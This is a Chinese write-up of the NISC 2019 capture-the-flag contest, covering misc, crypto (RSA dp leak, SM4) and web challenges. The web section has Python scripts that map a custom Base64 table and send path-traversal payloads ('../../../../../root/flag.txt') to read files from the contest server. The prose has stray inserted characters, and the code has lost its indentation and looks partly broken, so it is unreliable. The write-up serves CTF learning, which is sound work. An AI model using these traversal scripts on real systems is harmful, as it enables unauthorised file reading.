比賽時(shí)間：8月15日9:30-8月15日19:00
比賽網(wǎng)站：https://race.ichunqiu.com/nisc2019
MISC
簽到題
-
題目描述
- 解題步驟
dig 命令主要用來(lái)從 DNS 域名服務(wù)器查詢主機(jī)地址信息享潜。
dig txt gamectf.com
gamectf.com. 600 IN TXT "flag{welcome_TXT}"
七代目
- 題目描述
- 解題步驟
- 修復(fù)文件頭GIF8
- 查看每一幀的時(shí)間：
- 序號(hào)為6的幀只有1，保存下來(lái)切換一下通道：
亞薩西
- 題目描述
- 解題步驟
- 下載winrar打開(kāi)提示是損壞的zip?件
使用7zip或者bandlize打開(kāi)壓縮包提示需要輸入密碼
- winhex打開(kāi)嗅蔬，發(fā)現(xiàn)可疑密碼字符
得到密碼是loli剑按，解壓得到圖片
- winhex打開(kāi)發(fā)現(xiàn)有0ok！編碼澜术，在線解碼得到flag
24word
- 題目描述
- 解題步驟
- 解壓得到圖片艺蝴，進(jìn)行社會(huì)主義核心價(jià)值觀解碼得到：
CodeValues
- binwalk看下圖片發(fā)現(xiàn)壓縮包，修改后綴為zip鸟废，密碼CodeValues解碼得到圖片
- 掃描二維碼得到flag
Crypto
dp
- 題目描述
- 解題步驟
import gmpy2
import libnum
e = 65537
n = 9637571466652899741848142654451413405801976834328667418509217149503238513830870985353918314633160277580591819016181785300521866901536670666234046521697590230079161867282389124998093526637796571100147052430445089605759722456767679930869250538932528092292071024877213105462554819256136145385237821098127348787416199401770954567019811050508888349297579329222552491826770225583983899834347983888473219771888063393354348613119521862989609112706536794212028369088219375364362615622092005578099889045473175051574207130932430162265994221914833343534531743589037146933738549770365029230545884239551015472122598634133661853901
dp = 81339405704902517676022188908547543689627829453799865550091494842725439570571310071337729038516525539158092247771184675844795891671744082925462138427070614848951224652874430072917346702280925974595608822751382808802457160317381440319175601623719969138918927272712366710634393379149593082774688540571485214097
c = 5971372776574706905158546698157178098706187597204981662036310534369575915776950962893790809274833462545672702278129839887482283641996814437707885716134279091994238891294614019371247451378504745748882207694219990495603397913371579808848136183106703158532870472345648247817132700604598385677497138485776569096958910782582696229046024695529762572289705021673895852985396416704278321332667281973074372362761992335826576550161390158761314769544548809326036026461123102509831887999493584436939086255411387879202594399181211724444617225689922628790388129032022982596393215038044861544602046137258904612792518629229736324827
def n2s(n):
"""
Number to string.
"""
s = hex(n)[2:]
if len(s) % 2 != 0:
s = "0" + s
return str(s.decode('hex'))
for i in range(1,65538):
if (dp*e-1)%i == 0:
if n%(((dp*e-1)/i)+1)==0:
p=((dp*e-1)/i)+1
q=n/(((dp*e-1)/i)+1)
phi = (p-1)*(q-1)
d = gmpy2.invert(e,phi)%phi
print n2s(pow(c,d,n))
參考資料
https://zhuanlan.zhihu.com/p/43033684
- 解題步驟
sm4
- 題目描述
- 解題步驟
ECB模式 sm4解密庫(kù): https://github.com/yang3yen/pysm4
# -*- coding: utf-8 -*-
from pysm4 import encrypt, decrypt
import binascii
def dec_hex(str1):
a = str(hex(str1))
b = a.replace("0x", '')
return b.zfill(2)
def hex_str(dic):
hexstr = "0x"
for i in dic:
hexstr = hexstr + dec_hex(i)
return hexstr
if __name__ == '__main__':
key = [13, 204, 99, 177, 254, 41, 198, 163, 201, 226, 56, 214, 192, 194, 98, 104]
c1 = [46, 48, 220, 156, 184, 218, 57, 13, 246, 91, 1, 63, 60, 67, 105, 64]
c2 = [149, 240, 217, 77, 107, 49, 222, 61, 155, 225, 231, 196, 167, 121, 9, 16]
c3 = [60, 182, 65, 101, 39, 253, 250, 224, 9, 204, 154, 122, 206, 43, 97, 59]
keyStr = hex_str(key)
c1_str = hex_str(c1)
c2_str = hex_str(c2)
c3_str = hex_str(c3)
# print hex(decrypt(0x2e30dc9cb8da390df65b013f3c436940,0x0dcc63b1fe29c6a3c9e238d6c0c26268))[2:-1]
# print hex(decrypt(0x95f0d94d6b31de3d9be1e7c4a7790910, 0x0dcc63b1fe29c6a3c9e238d6c0c26268))[2:-1]
# print hex(decrypt(0x3cb6416527fdfae009cc9a7ace2b613b, 0x0dcc63b1fe29c6a3c9e238d6c0c26268))[2:-1]
c_str = hex(decrypt(0x2e30dc9cb8da390df65b013f3c436940,0x0dcc63b1fe29c6a3c9e238d6c0c26268))[2:-1] + hex(decrypt(0x95f0d94d6b31de3d9be1e7c4a7790910, 0x0dcc63b1fe29c6a3c9e238d6c0c26268))[2:-1] + hex(decrypt(0x3cb6416527fdfae009cc9a7ace2b613b, 0x0dcc63b1fe29c6a3c9e238d6c0c26268))[2:-1]
print c_str
print binascii.a2b_hex(c_str)
## SM4: flag{1caa96be-4266-4a8e-bd2c-ece977495497}
WEB
from urllib.parse import unquote,quote
import requests
import base64
import re
import string
import random
s = requests.sessions()
url = "http://127.0.0.1:8999"
new_dict = {}
def get_b_name():
test_name = ''.join(random.sample(string.ascii_letters + string.digits,50))
# join() 方法用于將序列中的元素以指定的字符連接生成一個(gè)新的字符串
# random.sample(seq, n) 從序列seq中選擇n個(gè)隨機(jī)且獨(dú)立的元素
# string模塊ascii_letters和digits方法猜敢，其中ascii_letters是生成所有字母，從a-z和A-Z,digits是生成所有數(shù)字0-9
# 最后生成的字符串是從"abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789"隨機(jī)截取50個(gè)元素
o_file_name = test_name + '.jpg'
origin = base64.b64encode(str.encode(o_file_name))
origin = bytes.decode(origin)
# bytes.decode() 方法以指定的編碼格式解碼 bytes 對(duì)象。默認(rèn)編碼為 'utf-8'
upload_url = url + "/upload.php"
with open('test.jpg','rb') as file:
files = {'file':(o_file_name,file)}
requese = requests.post(upload_url,files=files)
text = requese.text
file_name = re.search(r'"img.php\?name=(.+?)"',text).group(1)
file_name = unquote(file_name)
return origin,file_name
def make_dict(origin,file_name):
num = 0
for i in origin:
# print(i,file_name[num])
new_dict[i] = file_name[num]
num += 1
if __name__ == '__main__':
length = len(new_dict)
for i in range(15):
origin, file_name = get_b_name()
make_dict(origin, file_name)
length = len(new_dict)
res = []
flag = bytes.decode(base64.b64decode(b'../../../../../root/flag.txt'))
for f in flag:
if f == '=':
res.append('=')
else:
res.append(new_dict[f])
payload = ''.join(res)
print(quote(payload))
import string
import requests as req
import base64
import urllib
·
z = {'0': 'Y', '2': 'P', '4': 'y', '6': 'e', '8': 'v', 'B': 'z', 'D': 'N', 'F': 't', 'H': 'x', 'J': 'U', 'L': 'X', 'N': 'F', 'P': 'V', 'R': 'q', 'T': 'a', 'V': 'l', 'X': 'm', 'Z': 'S', 'b': '4', 'd': 'B', 'f': 'h', 'h': '5', 'j': 'c', 'l': 'M', 'n': '9', 'p': 'w', 'r': '1', 't': '8', 'v': 'o', 'x': 'i', 'z': 'K',
'+': 'u', '/': 'A', '1': '0', '3': 'C', '5': 'T', '7': 'I', '9': 'k', 'A': 'b', 'C': 'J', 'G': '7', 'I': 'f', 'K': '6', 'M': 'Z', 'O': '2', 'Q': '+', 'S': 'd', 'U': '3', 'W': 'R', 'Y': 'W', 'a': 'L', 'c': 'r', 'e': 'g', 'g': 'n', 'i': 'E', 'k': 'j', 'm': 'G', 'o': 'H', 'q': 'Q', 's': 'p', 'u': 's', 'w': 'O', 'y': 'D', 'E': '\\'}
b64table = string.maketrans(
''.join(z.keys()), ''.join([z[k] for k in z.keys()]))
b64table2 = string.maketrans(
''.join([z[k] for k in z.keys()]), ''.join(z.keys()))
URL = 'http://3fc6a707471d4c83959773ac33db4ec348f07f0fa23e4e15.changame.ichunqiu.com/img.php?name={}'
def get(pl):
pl = base64.b64encode(pl)
print "[+] Normal Base64 :", pl
pl = pl.translate(b64table2)
# translate() 方法根據(jù)參數(shù)table給出的表(包含 256 個(gè)字符)轉(zhuǎn)換字符串的字符, 要過(guò)濾掉的字符放到 del 參數(shù)中
print "[+] Encode Base64 :", pl
pl = urllib.quote(pl)
res = req.get(URL.format(pl))
print(res.content)
def test(pl):
pl = pl.translate(b64table)
pl = base64.b64decode(pl)
print pl
if __name__ == '__main__':
get("../../../../../../proc/self/cwd/templates/upload.html")
get("../../../../../../root/flag.txt")
參考資料：爆破非默認(rèn)Base64編碼表
爆破Base64總結(jié)：把\x00\x10\x83\x10\x51\x87\x20\x92\x8B\x30\xD3\x8F\x41\x14\x93\x51\x55\x97\x61\x96\x9B\x71\xD7\x9F\x82\x18\xA3\x92\x59\xA7\xA2\x9A\xAB\xB2\xDB\xAF\xC3\x1C\xB3\xD3\x5D\xB7\xE3\x9E\xBB\xF3\xDF\xBF這個(gè)作為輸入缩擂，輸出就是base64table
